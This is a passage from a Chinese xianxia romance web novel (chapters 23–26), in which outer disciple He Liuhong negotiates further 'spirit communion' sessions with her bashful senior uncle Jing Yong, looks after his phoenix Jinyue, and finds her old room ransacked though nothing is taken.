宁逢一副看穿一切的神情,“你还是太年轻,谁说他就必须杀你伤你,他都化神了,随便使点什么小手段,让你食欲不振,上吐下泻,入睡困难,脱发加重,如此等等,你也发现不了啊。” 贺流虹表情淳朴无辜:“可是我是无辜的呀。他不能这么欺负后辈。” 宁逢并不知道她做的那些事,所以越发觉得她老实本分又运气差,摸了摸她的头:“唉,你不懂,在这个世上,谁修为高,谁说了算,管你无辜不无辜。你之后还是来我们医仙谷吧。” 贺流虹接 过那颗小绿丸,道了声谢,走了出去。 她想了想,没吃下那颗药,把它收进储物袋里,这样的好东西不到危急关头她绝不浪费。 景雍站在医修们住的院子外面,纷纷扬扬的花瓣飘落在身上,只是他也顾不上拂去,眼睛时不时望向大开的门口。 他当然可以直接走进去,这是他的洞府,接待他的那个圆脸医修也问他要不要进去等。 可他固执地想要留在这里。似乎保持住这段距离,不踏入对方的住处,就能维持住他的矜持和体面。 就能让双方都想不起来那晚他是如何哭泣,如何央求。 过了很久,那道身影终于出现在门后。 景雍凝神感受,只觉得她脚尖落地的速度带着一丝迟疑,双臂摆动的幅度也不似平常洒脱自由。 她不想来见他。这是他的第一反应。 贺流虹大步跨出院门,抬眼望去,瞬间被美人吸引目光。 洞府里除了金碧辉煌的宫宇,最多的就是奇花异草,有些很珍贵,有些不值一文,洞府的主人应当是见惯了好东西,所以不在意这些,只让它们随意地生长。 于是鲜艳花束们不分年月地盛放,彼此争奇斗艳,一起衬托着洞府主人的昳丽。 她欣赏着美人美景,走到对方面前停下,露出一点笑意,主动问道:“找我有事吗小师叔?” 景雍看见她笑容之下的警惕,微微一怔。 刚才他总等不来人,便忍不住探听了一下院内动静,这是他的洞府,想要悄无声息做到这点并不困难,于是他就听到了那个医修和贺流虹的对话。 他顿时感觉自己更加像是一个仗势欺人的恶人,害的对方提心吊胆惶惶不可终日。 贺流虹瞧见美人凝重的神色,有了不好的猜想,宁逢的防备看来是有几分道理的,美人果然是来找她问罪的。 她挺直了腰背,理直气壮道:“小师叔,如果你是因为那天晚上的事情来找我,那我可就要好好跟你说道说道了,首先,是你非要往我怀里……” “你别说了。”景雍迅速制止了她接下来可以预见的种种率真言辞,余光瞥见不远处几个医修趴在院墙上探头探脑。 他耳尖微红,偏过脸,有些后悔非要来这里。 她不过是几天没去找他而已,又不是逃出了天玄宗消失不见。 “我来这里并不是……并不是为了那天的事。” 贺流虹瞪大眼睛做不解状:“哦?那还能是因为什么事?” 想来想去,两人之间除了神交的事,也没别的事值得专门跑一趟了吧。 反正贺流虹如果去找他,肯定是为了哄他点头继续下一次。 景雍听出了她的言外之意,脸热起来,拿出一摞有些眼熟的纸页,维持着镇定,冠冕堂皇地说道:“这是你誊写的几册书。” 贺流虹低头瞧瞧,是她那几天抄写的东西没错,已经被装订好了。 景雍接着说道:“这些东西对我已经没用,你如今还未结丹,倒是可以翻看两眼,或许能有助益。” 贺流虹心想,坏了,误会小师叔了,原来是来给她送东西的。 那些书内容不多,她抄写时顺便将能看懂的都记了下来,但也有些涉及到她暂未理解的内容,要是之后还能再回过头去翻看,当然更好。 她接过来,笑道:“师叔,你是好人。” 景雍很喜欢这句夸赞,也弯了弯唇角。 贺流虹瞧瞧手上的书,又瞧瞧对面的美人,有点拿不定主意,忍不住问:“这是不是表示师叔你不生气了?” 景雍的笑容渐渐消散在脸上,演练低垂下来,道:“我并未生你的气。我只是……” 贺流虹关切地问:“只是什么?” 景雍摇了下头,“没什么。” 贺流虹遗憾道:“哎,你怎么总这样。”说完又觉得不够尊敬这位师叔,又改口道:“这样才好,不能什么话都往外说。” 景雍心想,他倒是想要和她一样,什么话都敢往外说。但是有些画面他竟然连暗自回想都觉得难堪至极。 他确实没生她的气,他只是气自己那般不自持,主动往她的怀里钻,身体只尝到了一点甜头就浑然忘我,缠着她不肯放。 他到现在也不知道自己为什么非要跑这一趟,明明情毒没发作,却忍不住上赶着把自己往她面前送。 冷静下来之后,他压低了声音说道:“那就这样,我先走了。” 贺流虹急忙抱着那几本书跑到他面前,将他拦住:“小师叔,你真的就只是为了送我这几本书啊?” 这真的有必要专门跑一趟吗。 真的不是为了来通知她下一次神交的时间吗。 景雍被她看着,只感觉自己从里到外无所遁形,急得想用移形换影原地消失。 贺流虹看出他的动作,一把抓住他手腕,笑道:“那我明天可以去找你了吗?” 景雍躲开她火热的视线,假装没有听出她没问出口的那个更为关键的问题,轻轻应了一声:“嗯。” 贺流虹松了手。 美人有些慌张地消失在原地。 回到房间,贺流虹想明白了一个道理,有些事情不能太上赶着,她几天不去,小师叔不还是主动找过来了嘛。 小师叔只是皮薄,过不去心里那道坎,但是身体骗不了人,多来几次就会喜欢上了。 而且都说了神交是对双方都有益的事情,真算起来,她只是顺带小小提升了下修为,天玄宗和小师叔可是关乎飞升、关乎宗门未来。 贺流虹又一次胸有成竹,跟宁逢夸下海口,明天肯定又能将下一次神交给安排上了。 这么一算,再过一两个月她就能被放出去了。 她美滋滋地睡着了。 前些日子的刻苦修炼让她有点累,第二天醒得晚了,索性吃了午饭再出发。 两人昨天的见面释放了友好的信号,今天小师叔果然为她敞开大门。 贺流虹先是瞧了眼窗户,又推开门走进去,看了一圈,一直没找到人。 她喊了一声:“小师叔?” 有什么东西从头顶掠过去,掉下来一根红里泛金的羽毛。 她定睛一看,是一只红色的鸟,身子只有手掌那么大,尾巴却很长,在阳光下金光闪闪。 “哪里来的鸟,我师叔呢?” 难道这小师叔不仅有养花的爱好,还喜欢养鸟。 小红鸟用两只黑豆眼睛盯着她,眼神很睿智,还是个开了灵智的。 贺流虹礼貌地问:“你主人呢?” 小红鸟扭头看了看窗外。 这扇窗不是小师叔经常待着的那扇,而是朝向另一个方向,外面是一片灵泉水形成的湖泊。 贺流虹也跑过去看,然后就“哇”了一声。 美人出浴,别有一番风情。 景雍抬头一看,惊得又躲回水面下,青丝像海藻一样飘散在身侧,影影绰绰地挡住身体,但是水波一荡,又会散开。 贺流虹:“哇。” 景雍听着那一声丝毫不掩饰的惊叹,急得想骂人。 他背过身去,扯过衣服在水下裹住自己,顺便调动灵力将那扇窗给关上了。 贺流虹看到一半,视线被窗户彻底隔绝,感到大煞风景,又准备推开。 这又不是没看过,多看两眼又怎么了,她保证自己是带着欣赏艺术的眼神去看的,绝对没有任何下流的想法。 她伸手去推窗,刚碰到就被一只鸟撞到手背上。 “叽叽叽叽叽!” 小红鸟拿漂亮的翅膀不停扇她,不准她碰这扇窗。 贺流虹一把抓住这只小红毛,没想到手心一空。 小红鸟还能变幻大小,变小之后就脱身飞了出去。 贺流虹来劲了,她可是最喜欢这些小动物的,什么小老鼠小蛇野猴子,这无疑是激发出她的胜负欲了。 小红鸟感受到她的情绪,突然变大数倍,在她头顶占据大半个屋顶。 贺流虹一看,这肯定打不过,连忙说:“好好好 ,我不看就是了,也没什么好看的,早就看过八百遍了。” 正说着,景雍就衣着整齐神情庄重地走进来了。 那只鸟落到他肩膀上,“叽叽叽”了一会儿,贺流虹总觉得它在告状。 第24章 第24章真的只是在欣赏风景 景雍拍了拍它脑袋,让它闭嘴。 贺流虹觉得这只鸟似曾相识,和曾经从头顶飞过的那只神凤坐骑很像,只不过变换身形之后,不再金光闪烁遮天蔽日,而是变得毛茸茸,气势大有不同。 真不愧是琼华真人的坐骑,和它的主人一个样,喜欢倒打一耙。 刚才明明是它主动引贺流虹去窗边看的,现在又一副受了委屈的样子,还好意思去找它主人告状。 贺流虹深深瞧了它一眼,对它的主人露出无辜的笑脸:“不好意思,小师叔,我是不是来的不是时候,下次不会了。” 景雍下意识拢了拢领口,刚刚受灵泉水滋润过的皮肤雪白柔软,光滑如玉,是怎么挡也挡不住的,越是遮遮掩掩,越惹人遐想。 贺流虹怎么可能是那种乱想的人呢,她很正直地强调道:“我看到门没关,以为师叔在里面等我,所以才进来的。” 只不过没想到师叔是脱光了在等,太客气了。 景雍急忙解释道:“不是的,我以为你今天不会再来,所以才……” 他支支吾吾,不愿再把后面的话说完整。 昨天贺流虹只说要过来找他,满脸写着迫不及待见到他的热情,他就以为对方会像以前一样,早早在窗下露面。 左等右等,洞府里的天都过了晌午,她还是不来,他的心就一点点沉下去,以为对方热情退却,将他抛在脑后。 贺流虹表示理解,道:“下次我一定先约好时间,绝不再撞上小师叔你洗澡的时候来。” 她说完,那只小红鸟又叽叽喳喳地叫起来。 景雍将它从肩头拂开,没话找话似的说道:“这是金月,师父陨落之前送给我的,平日里很安静懂事,不知道今日为何如此聒噪。” 那只鸟被主人推开,不情不愿地在上空飞了一圈,落在了贺流虹肩膀上,对着它的主人叽叽喳喳起来。 贺流虹偏过头盯着它,说:“瞧瞧这是哪里来小凤凰,真漂亮,和它的主人一样漂亮。” 小红鸟像是忽然被噎住一样,闭上鸟嘴一言不发,在贺流虹的注视下将脸埋在翅膀下面。 贺流虹再瞧瞧它的主人,如出一辙的含羞带怯,眼帘低垂,下意识避着她的视线。 她憋笑憋得很辛苦,确认了这只鸟和它的主人一样,不仅爱倒打一耙,还脸皮薄。 “好了小师叔,我们来说说正事吧。” 她正了正脸色,掩饰好心中想法,欲言又止地看向景雍。 她和他之间的正事是什么,自然不必多说。 景雍一听到她嘴里蹦出“正事”这两个字,就提心吊胆起来,既不能拒绝,也不敢点头。 他不想再重蹈覆辙,在她眼前沦落成那副模样。 于是他装聋作哑,“请你过来其实是有一事相求,我境界不稳,需要常常闭关调息维持境界不跌落,金月无人照顾,你看起来也很喜欢它,不如请你平日里替我照顾它。” 贺流虹:“啊?” 她扭头和肩膀上的小红毛对视,那两只圆溜溜的黑豆眼望着她,使劲眨巴,闪烁着异常明亮的光。 景雍顺势又说:“你看,金月它好像也很喜欢你。” 贺流虹盯着毛茸茸的小红鸟,差点被这可爱小鸡的模样迷惑到。 几秒钟后她晃过神来,捋清了逻辑:“不是,小师叔你这样就不对了,你境界不稳难道不是因为迷情散还没解吗,当务之急不是要抓紧时间将剩下三十七次神交全部完成?” 景雍有种第一次说谎却惨遭拆穿的惊慌失措,重重的咽了口唾沫,生硬地辩驳道:“此事、此事关系重大,我需要做万全准备,不可急于一时。” 幸好贺流虹早就有了心理准备,叹了一声,“那好吧。我会耐心等到师叔准备好的那天。” 看吧,这肯定又是在怪她“乱来”,生她气了。 要怪就怪她没证据,否则一定拿出来当时的录像,请苍天,辨忠奸。 看看到底是谁在任性。 面对美人的刻意推脱,贺流虹心中着急,但是脸上稳重淡定,很能沉得住气的样子,指着肩膀上的红毛小鸡,谦虚求教:“师叔,抄书我会,不用教,但是我不会养凤凰啊。这可是凤凰。” 景雍很想告诉她,其实他也不怎么会,这只神凤刚从蛋里孵化出来就开了灵智,平时很擅长自己照顾好自己。 就算有什么问题,没轮到他这个主人去关心,掌门和长老们就提前解决掉了。 毕竟在那些人眼中,他只需要全心修炼,尽快飞升就可以。 “就……和其他鸟一样养吧,不用太麻烦。” 他有些底气不足地说道。 小红鸟又叽叽喳喳地叫起来,似乎有些不满。 贺流虹在天玄宗的灵兽园里干过活,倒也养过一些鸟类灵宠灵兽,听他的语气,这也不是什么难以完成的工作。 就像上次誊写一样,其实并不像是要刻意给她使绊子,只是想要拖延时间。 她盯着对方眼尾的泪痣发了一会儿呆,思考着对方这么做的理由到底是因为天真心善,还是碍于她的重要性,不敢把事情做得太绝,将她真的惹恼。 她摸摸肩膀上的小鸡,说:“那我先带它出去遛遛。” 景雍很庆幸她接受了这件事,点头说好。 贺流虹带着小鸡出了门,在洞府里当街溜子。 小鸡的上古神凤血脉已经不多了,开了灵智,但是好像不多,会飞到树上和普通鸟类打架,遇到合眼缘的,还想求偶。 贺流虹生怕搞出鸟命,跳到树上把它抓回来了。 她多长了几个心眼,怀疑美人故意给她挖坑,等这只鸟被她养出问题,就能更加名正言顺地生她的气。 没过一会儿,她就带着这只金贵的神凤返回它主人那里。 小师叔又不见人影了。 贺流虹跑去朝向灵泉的窗边看了看,没在继续洗澡,又在屋子里找了一圈,最后在那间内室门外被结界挡住。 没想到这么快就去闭关了。 小红鸟换了一边肩膀,和她一起守在结界外面。 贺流虹在门外徘徊,有点无聊,小声问它:“你饿了吗漂亮的小宝贝?你漂亮的主人平时都喂你吃些什么?” 对方又将脑袋埋进翅膀下边。 贺流虹继续问它:“虫子吃吗?”想了想又打消了这个念头,“洞府里不一定有虫子,还是不给你加餐了。” 她很认真地思考了一下,要怎么把这只鸟养好,让它的主人挑不出错误。 断断续续的自言自语声传进内室,景雍始终无法集中心绪,越发焦躁。 倒不是因为贺流虹吵到了他,而是他体内的情毒并非轻而易举就能解决的。 刚将他从风月宗地界上救回来时,长老们花费了一番力气才将迷情散携带的情毒压制下去,想着等迷情散的药性解开,情毒也就跟着散了。 但是他几次神交时都心静不稳,平时被压制下去的情毒,还是会被神交带来的愉悦诱发。 他想,他之所以那般不知羞耻,像那些画册上的人一样沉溺于情玉,都要怪这情毒。 他本身绝不会如此不堪。 或许他可以找师兄和长老重新想办法,用更好的手段替他将情毒压制下去。 可是,师兄大概也只会说这是多此一举,情毒堵不如疏,一味压制并没有什么没好处,既然已经和那名小弟子发生了好几次,再继续发生下去又有什么关系呢。何必再去劳烦几 位镇守宗门的太上长老,引得他们心生不满。 他要怎么解释自己的境遇呢,说他被一个十九岁的小弟子玩弄欺负了? 这种事情实在让他难以启齿。 他不知该向谁诉说自己的纠结羞耻和难堪,只能尝试着在下一次神交开始之前独自将体内情毒压制下去,叫它不要再使他颜面尽失。 外面的说话声渐渐停下来,他也再次闭上眼睛,继续与体内那可恶的情毒较起劲来。 贺流虹思来想去,以防出现意外,干脆不回自己的住处,直接就待在这里,等景雍出关。 她如今筑基成功,需要的睡眠时间减少很多,原地坐下闭眼调息代替睡觉。 再一睁眼,小红鸟就自己叼着一只香囊进来,三两下解开袋口,吃起了里面的东西。 贺流虹定睛一看,香囊上绣着灵兽园的符号,不知道是从哪里得到的。 灵兽园的工作包括给天玄宗各处的灵兽灵宠坐骑准备食物,根本等级地位品种等等差别,食物也多种多样,有的需要花钱,有的免费供应。 天玄宗对待琼华真人的坐骑也是格外体贴,贺流虹一看那香囊,就知道里面用的都是非同一般的原料。 要是让她花钱买,她的资产不够这只神鸟吃上几天的,她本来都打算守在这里找小师叔要伙食费了。 这下倒是解决了她一桩心事。 她迅速站起来靠近小红鸟,两眼放光地望着那只香囊。 正在吃东西的鸟满脸戒备,叼起香囊挪了个地方继续吃。 贺流虹笑得满脸和蔼:“漂亮的小宝贝,你这吃的是哪儿来的呀?是刚刚自己从灵兽园领回来的吗?” 她试了一下追踪香囊的气息,并没有发现来自洞府外的气息。 可能是她修为还是不够,又或者香囊并不是从洞府外面刚拿回来的。 她不愿相信,露出自责的神情:“宝贝儿,怎么这么懂事呢,自己去灵兽园领饭,也不知道喊我,我是你的临时饲养员,我去替你领不就行啦。” 早知道还有可能顺便离开神月峰,她刚才一定不打坐。 不管这鸟饲料是灵兽园那边送上门的,还是小红鸟自己去取的,这都说明小师叔的洞府其实是有隐藏出入口的,只不过她还没有缘分遇到罢了。 小红鸟眨着豆豆眼,愣愣地看了她一会儿,然后忽然飞扑到她肩膀上,紧挨着她的脸颊,使用蹭了蹭它那颗毛茸茸的小脑瓜。 贺流虹摸了摸它的鸡翅尖,心里感叹,哎,连投怀送抱的样子都和它主人一样热情。 她笑眯眯哄道:“现在能告诉我,你是去哪里得到的香囊了吗?” 小红鸟恋恋不舍地离开她的肩膀,朝门外飞出去。 贺流虹紧跟上去。 十分钟后,一人一鸟停在一棵巨大的树下,树上一只巨大的鸟巢,用香草和鲜花筑造。 神凤金月骄傲地向她展示自己精心搭建的鸟巢,以及里面囤了满满一鸟巢的食物,快活地抖了抖翅膀。 紧接着,它又慷慨地向她扔出去好几只香囊,每一只里面都装着满满当当的食物。 贺流虹捧着这些香囊,笑容勉强。 她要这些鸟饲料干嘛呢,卖出去换钱吗? 也不是不行。 出口没找到,神交也不行,她左右望了望,树下风景甚好,正对着那片灵湖,湖面波光粼粼,岸上芳草连连,灵气也比其他地方充裕。 于是她索性就在树下盘腿坐着,修炼起来。 修炼的时间过得飞快,洞府里无人打扰,也不存在妖魔鬼怪和夺宝杀人,很快就过去一夜,到了第二日。 时间越久,留在内室的景雍就越有些坐不住。 他没能在门外感应到她的存在,将神识往外扩散一圈,还是没有,不禁有些说不出的失落。 他还以为她十分期待与他神交,会一直等在外面,等他松口答应。 原来她也没那么着迷于那种事,更没那么着迷于他。 与情毒的对抗让景雍出了一身冷汗,整个人筋疲力竭,连神识也松懈下来,于是打算再去灵泉中放心一下身心。 他走出门,来到湖边,缓缓解开衣服,正要褪下最后一层,忽然捕捉到湖对岸的远处有异样的气息,似乎不属于修士。 转过身望去,神凤金月在筑巢的树下叽叽喳喳,翅膀挥舞的越来越快,周围灵力翻涌。 有人在树下修炼,灵气的变化让金月也跟着亢奋躁动。 他一想便知和金月待在树下的人是谁,低头瞧一眼身上快褪尽的衣服,心中一惊,逃一般地离开湖边,身影转瞬消失,躲回闭关修炼的内室。 等回去之后他还心有余悸,祈祷树下的女修当时并没有被聒噪的金月吵醒,看见他的举动。 否则他这一而再的“主动”对她展露身体,说不是有意引诱都没人信。 他又生起自己的气,面红耳赤地坐在密不透风的内室,身上单薄的衣料本就是匆忙穿回去,现在又随着胸口起伏从肩头半褪下来。 树下,贺流虹沉迷修炼无法自拔,只是仍旧没有在丹府内成功凝结出金丹的雏形,不由有些被激发出挑战欲,更加贪婪地吸取四周灵气。 耳边迷迷糊糊有一只鸟在叫,还用翅尖拍她肩膀,她忽然想起来自己现在的身份是“饲养员”,有一只金贵的神鸟等着她照顾。 她暂停这次修炼,感觉鼻尖湿湿的,用手一摸,流鼻血了。 果然,人要听劝,宁逢说她神交之后还这么拼命修炼绝对会出事,她还不信,神交是享受,哪里就影响修炼了。 她正悻悻擦着鼻血,丹府传来一阵锐利的刺痛。 等她反应过来,惴惴不安去分辨那刺痛产生的缘由,痛感已经消失了,速度快得像错觉。 她赶紧吃了颗补气丹,不敢再继续。 小红鸟在前面的一根树枝上蹦来跳去,发出很焦急的声音,脑袋不停往湖对岸望去,就好像对岸有什么好东西。 她站起来,远目眺望,疑惑道:“你想让我看什么,那边什么也没有啊。” 难道是小师叔又出来泡灵泉,然后落水了? 那只鸟看向她的眼神多了几分同情,她越来越怀疑自己刚刚打坐修炼时错过了什么。 回去找小师叔的路上,贺流虹难掩好奇,特意绕道去了湖对岸。 这一看才知道小红鸟为什么乱叫。 岸边的石头上胡乱丢着一套衣服,仔细瞧上去和小师叔昨天穿得那身一样。 小红鸟在衣服上面扑扇着翅膀盘旋飞舞。 贺流虹没理它,抬头眺望湖面,想要确认小师叔是不是在这一湖灵泉水中沐浴。 找了一圈都没见到人,她想这衣服大概是不小心丢在湖边的,于是贴心地帮忙捡了起来。 手指触及之时不可避免感觉到衣服布料的轻薄柔软,带着淡淡的芳香。 确认了,是自小不染凡尘不沾俗务的第一美人。 她拎着衣服大摇大摆回了美人居住的楼阁。 推开门,美人已经没有继续修炼了,出了内室,又坐在窗边安静的翻阅书册。 贺流虹及时停下脚步,靠在门边,欣赏了一下。 小红鸟“砰”的一声撞在门框上,帮她敲了敲门。 景雍听到动静,无法再装听不见看不见,不得不抬头望过来。 这一望,身形又猛地僵住。 贺流虹拿着那套衣服晃了晃,笑道:“小师叔,我帮你把衣服捡回来了,下次别再忘了哦。” 她刚说完,手上就空了,再一看,那衣服已经被胡乱丢进了芥子袋,不见一丝踪影。 景雍懊恼地瞪了那只芥子袋一眼,收敛神色,做随意闲聊状,问:“你方才……在灵湖对岸做什么?” 贺流虹谨记着自己的“饲养员”身份,没说自己沉迷修炼一天一夜,压根没顾得上那只鸟。 她含糊其辞道:“没做什么啊,就……陪着金月宝贝在湖边看了看风景。” 她没说谎,她确实看风景了,忍不住有些夸张地感叹:“之前还不知道,原来从湖对岸看过来,这边的景色别有一番趣味,能看到很多平时不容易看 到的美景。” 景雍只觉得她句句看似在说风景,又句句是在调笑他方才的举止。 他偏过头去,不堪地闭上眼。 第25章 第25章穷到连贼都不忍心下手…… 贺流虹兴冲冲分享完自己的游湖观后感,却没等到对方回应,不解地问:“小师叔,你怎么不说话了?身体不舒服吗?” 景雍轻轻摇头,喃喃开口:“下次不要再到处乱跑,想去什么地方,先告知我。” 贺流虹十分配合地点头:“好的好的,没有问题,那我明天还能去湖边吗,我还想那里和金月一起看风景。” 她话音还未落,鼻孔下面又感到一阵湿湿热热。 她有点错愕地抬头,和景雍四目相对,尴尬地笑了一下,连忙抬手擦鼻血。 修炼过度的后遗症还挺严重,到现在还在气血上涌。 本来想着今天休息一天也就差不多了,明天还能接着去金月的鸟窝下面打坐,争取早日把金丹练出来,这下不能拿身体健康开玩笑了。 景雍眼神复杂地看向她,欲言又止。 她又淡定地改口:“算了,我明天不去湖边了,总去看也没意思,看多了也就那样,我还不如带金月去别的地方逛逛。” 景雍蹙了下眉,眼中隐隐划过一丝失落,不知又因为对方的哪句话感到耿耿于怀。 贺流虹总觉得他看上去有些情绪不佳,猜测可能是还在怪她“乱来”,便很有眼色地说道:“那师叔你继续调养,我就不在这里打扰你了。” 景雍急忙喊住她:“你等一下。” 她刚迈出去的脚又立刻收回来,两眼亮晶晶地望着他,期待道:“小师叔,你是不是有什么重要的话想要跟我说?” 景雍被她的一双灼热眼眸紧盯着,低下头,从怀中取出一张雪白手帕,默默递了过去。 贺流虹的目光从他的脸上慢慢移到他手上,一时间分不清是那张帕子更雪白柔软,还是那只手更漂亮光滑。 她没有急着接过来,困惑地眨着一双黑亮的眼睛,问:“给我这个做什么?” 从怀里拿出来的,贴身之物,看过话本的都知道,这样一般都是拿来当定情信物的。 景雍见她站在原地不动,犹豫了一下,上前一步,拿着那张帕子,仔细地帮她把鼻子下面的血迹一点点擦干净了。 眼看着少女又恢复成平日里干净明媚的模样,他颇有些成就感。或者说是快乐。 他也不知道为什么,就是莫名其妙地觉得快乐。 可能是对方没有推开他吧。 贺流虹冷不丁地看见他嘴角浮现的笑意,吓了一跳,感觉这位美人的心思实在有些难以捉摸。 她伸手要将沾了自己鼻血的帕子拿过来,景雍先她一步,将帕子收了回去。 “师兄说过你一向刻苦,但是修炼之事不可急躁,短期内境界突破太快,恐有后患。” 景雍说起修炼,总算感到底气足了一些,找回来一点身为师长的镇静。 贺流虹已经被宁逢劝过,也刚受了教训,这回非常听劝,点了点头,“和我住一起的医修也都这么说,师叔你说得对,我暂时先不急着修炼了。” 景雍的话多了起来,认真回忆了一下,对她说道:“你花了不到半年,就从练气初期提升至筑基二层,是该停下来缓缓。当初我也是花了两年才修成金丹,金丹是修士的根本,所以从筑基到金丹这一步需要稳打稳扎。” 贺流虹表情复杂,“两年修成金丹”和“稳打稳扎”放在一起,怎么听着就这么离谱呢。 在修真界更常见的情况是,普通修士一辈子都修不成金丹,到死都还是个练气或者筑基。 她趁机问道:“你觉得我能多久修成金丹?我也想两年就成功。” 景雍对她的情况很了解,所以回答起这个问题几乎还不费劲,立刻便说道:“五师姐说过你很特别,你的天生资质虽然普通,但拥有很大的潜力,如果刻苦一些,再得到适当的指点,两年也并非不可能。” 贺流虹做为难状:“可是你又说,我应该停下来缓缓,那我到底能不能继续‘刻苦’呢?” “你经脉当中阻滞过多,影响灵气吸收,与其不眠不休打坐修炼,不如尽快祛除经脉阻滞,强化根骨,这才是事倍功半。” 贺流虹就等着他这句话,一脸天真地问:“那现在有什么好办法能让我祛除经脉阻滞,强化根骨呢?” 摆在眼前的好办法,当然就是和小师叔神交啦。 景雍以为自己在和上进好学的小师侄讨论修炼问题,猝不及防还是被对方带着绕回老问题。 他的脸涨得通红,恍然大悟自己在她眼里早已没了师长威严,只是一个受过她肆意亵玩的男人。 贺流虹不依不饶地追问:“小师叔,你帮帮我呀。我虽是外门弟子,但不也是你的师侄吗,你难道只肯教你自己的亲传徒弟,连顺便帮一帮我都不愿意吗。” 她说着说着,把自己给说委屈了,“我在神月峰出不去,见不着朋友,什么也做不了,我只能拜托你了。” 景雍沉默半天,艰难开口:“我、我是愿意帮你的……我是说,我愿意帮你提升修为,但是……但是我真的还没有做好准备,我需要……” “我知道,你需要休养。”贺流虹见他支支吾吾实在着急,替他把推脱的借口快速说完。 景雍越发感觉心中有愧,既是对她,也是对师门。只因为他自己的那些难言之隐,就不顾嗷嗷待哺的宗门后辈,不顾自身肩负的职责。 他侧过身去,轻声说道:“在我休养期间,你随便做什么都可以。” 余光瞥见那只仍然停在贺流虹肩上的神鸟,又坦诚道:“金月其实也不必你亲自照顾,它向来会自己管好自己。” 贺流虹自动忽略关于养鸟的这句,确认道:“我做什么都可以?真的吗?” 景雍“嗯”了一声。 贺流虹说:“那我想出去一趟。” 想了想又赶忙补充了一句:“我不离开天玄宗,就是在门内逛逛,还会回来的。” 这次她没说谎,她是真的还会回来的,她还没修成金丹,怎么能忍心离开神月峰,离开美丽的小师叔。 只不过现在既不能修炼也不能神交,在神月峰发呆也太可惜了。 景雍知道她一直想离开神月峰,不满意被困在这里,之前掌门师兄不同意,说是怕有人趁机使坏。 但是天玄宗护山大阵稳定运转数万年,邪魔外道哪有那么容易潜进来。 如果连护山大阵也挡不住,那神月峰外面的层层法阵其实也顶不住太久。 掌门师兄总是有种他难以理解的谨慎,在他身上倾注了太多期待,有时候让他很茫然,除了师门给他的身份之外,他到底是谁。 贺流虹不想被困在这里,不想一直和他待在一起,他很理解。 他点头应允:“可以。” 贺流虹转身就要飞奔出门,又被他喊住:“你一个人不安全,带上金月。” 这意思大概是怕她跑路,派上一只鸟随时监视。 她没想跑路,对此没什么意见,正要答应,头顶刮起一阵旋风,紧接着身体就腾空了。 一只比她脑袋还大的鸟爪提溜起她的衣领,带着她越飞越高,最后穿过洞府上面的天空,离开了神月峰。 贺流虹从来没搭乘过服务态度这么差的坐骑,在外面闯荡的时候,她偶尔也会花点钱搭个车,最便宜的也至少有个座位。 “咦这不是小师叔的坐骑吗,怎么自己飞出来了?” “这只神鸟很少出门的我记得,灵兽园的人说它几年才会去领一次粮,一次领上好几年的份,全部带回去囤着慢慢吃。” “那它是又要去灵兽园吗?” “不是啊你没看到吗,鸟爪子上还拎着一个人。” “是谁啊,飞得太高了看不清,是不是周无疾周师兄啊。” “周无疾不是在闭关吗,又突破失败了?他师父终于看不下去,让金月把他扔远一点吗 哈哈哈哈……” “可是看起来不太像啊,倒是有点像我在外门那失踪快半年的小贺师妹,哦我那可怜的小贺师妹,我大概是思念成疾,看谁都像你。希望你还活着。” 贺流虹隐隐约约听到下方的议论声。 换作平时,她也是站在下面看热闹的一份子,如今忽然成了那个被看热闹的,感觉挺微妙。 “金月,别到处乱飞了,先去一趟金玉满堂。” 她一边说,一边挣脱鸟爪,凭借着曾经在丛林大战过吗喽的矫健身姿,三两下爬到它背上。 恢复原本身形的小红鸟又变成了金光闪耀的样子,毛色油光水滑,看起来平时自己把自己喂得不错。 贺流虹摸了一会儿,望下一瞧,离金玉满堂的距离越来越远了。 她拍了拍它的鸟头,“你跑错方向了,主人让你陪我出来,是让你给我捣乱的吗?” 小红鸟唧唧地叫了两声,一个急刹,掉转了方向。 贺流虹:“又错了!” 对方知错就改,再次换方向。 贺流虹算是明白了,这是路痴,也不知道平时是怎么给它主人当坐骑的。 她定睛一瞧,刚好快要到外门的范围内,急忙叫停:“好吧好吧就先在这边停下来。” 巨大的神鸟一个滑翔,慢慢落到外门的峰头,变回小红鸟的大小,落在贺流虹肩膀上。 贺流虹左右看了看,还好这边没遇到熟人,不然她都不知道怎么解释自己和这只鸟的关系。她相信掌门绝对没有告诉所有人关于她忽然“失踪”的原因。 弄清楚自己所在位置,她就直奔外门的住处。 虽然只住了两年多,但是她也攒下了一些家当,外门人多,事杂,有时候难免会出现小偷小摸的事件。 她外出时很怕遇到那种靠抢劫别人杀人夺宝发家致富的邪修,不会将所有重要东西都随身携带,比起被外面的人抢,留在外门更有保障一些。 这一次离开得最久,要是有畜生趁她不在把她家给偷了,那她真的会心跳暂停。 当她走到门口,看到屋门虚掩着的那一刻,她的呼吸先暂停了。 真的被偷家了!? 贺流虹奔跑的速度过快,导致肩膀上打盹的金月没有站稳,掉了下来,距离地面不到半米才反应过来,狂扇翅膀重新起飞,追了上去。 贺流虹汗流浃背地推开门走进去,屋子里一片狼藉,桌椅被推翻了,床上被翻找过很多遍,被褥都掉在地上,柜子门也大开着。 她眼前一黑又一黑,只看这场景就知道八成是完了。 金月先她一步飞进屋子里面,叫得很着急。 她不抱期待地走近去一一检查,很快又松了一口气,所有的东西都在,连一根针都没少。 她坐下来,用常用的水杯倒了杯水,喝一口压压惊。 冷静下来一想,这事反倒更怪了,屋子里被翻找得乱七八糟却什么都没丢,难道真的穷到连贼都不忍心对她下手? 第26章 第26章通透啊 贺流虹花了会儿功夫把屋子收拾好,仔细确认过一遍,藏在床底下的一瓶辟谷丹、藏在墙里面的回春丹、藏在地板下面的准备拿去请炼器堂赵师姐炼剑的灵矿石……都还在,什么都没丢。 这些都不是稀世珍宝,但小偷小摸最适当对这些东西下手,就算失手被抓也不会惹祸上身。 可是这个贼偏偏什么都没有拿走。 贺流虹坐在桌边摸着下巴,百思不得其解。 她忙着收拾屋子的时候,金月早就钻进了她的芥子袋睡觉去了。 门口有一道人影晃过,刚走过去不久,又退回来,来到她门前,往里瞧了一眼,紧接着惊喜道:“小贺师妹,你还活着!” 门被推开,那人一瘸一拐地走进来,脑袋和脸上缠着一圈一圈的纱布。 贺流虹勉强从漏出来的一双眼睛认出对方身份,是住在她对门的师姐。 她诧异地问:“清宁师姐,你怎么把自己搞成这个样子,做什么要钱不要命的事了?” 两人相熟已久,很清楚彼此行事作风,为了接悬赏赚灵石,隔三差五受个小伤,不是什么稀奇事。 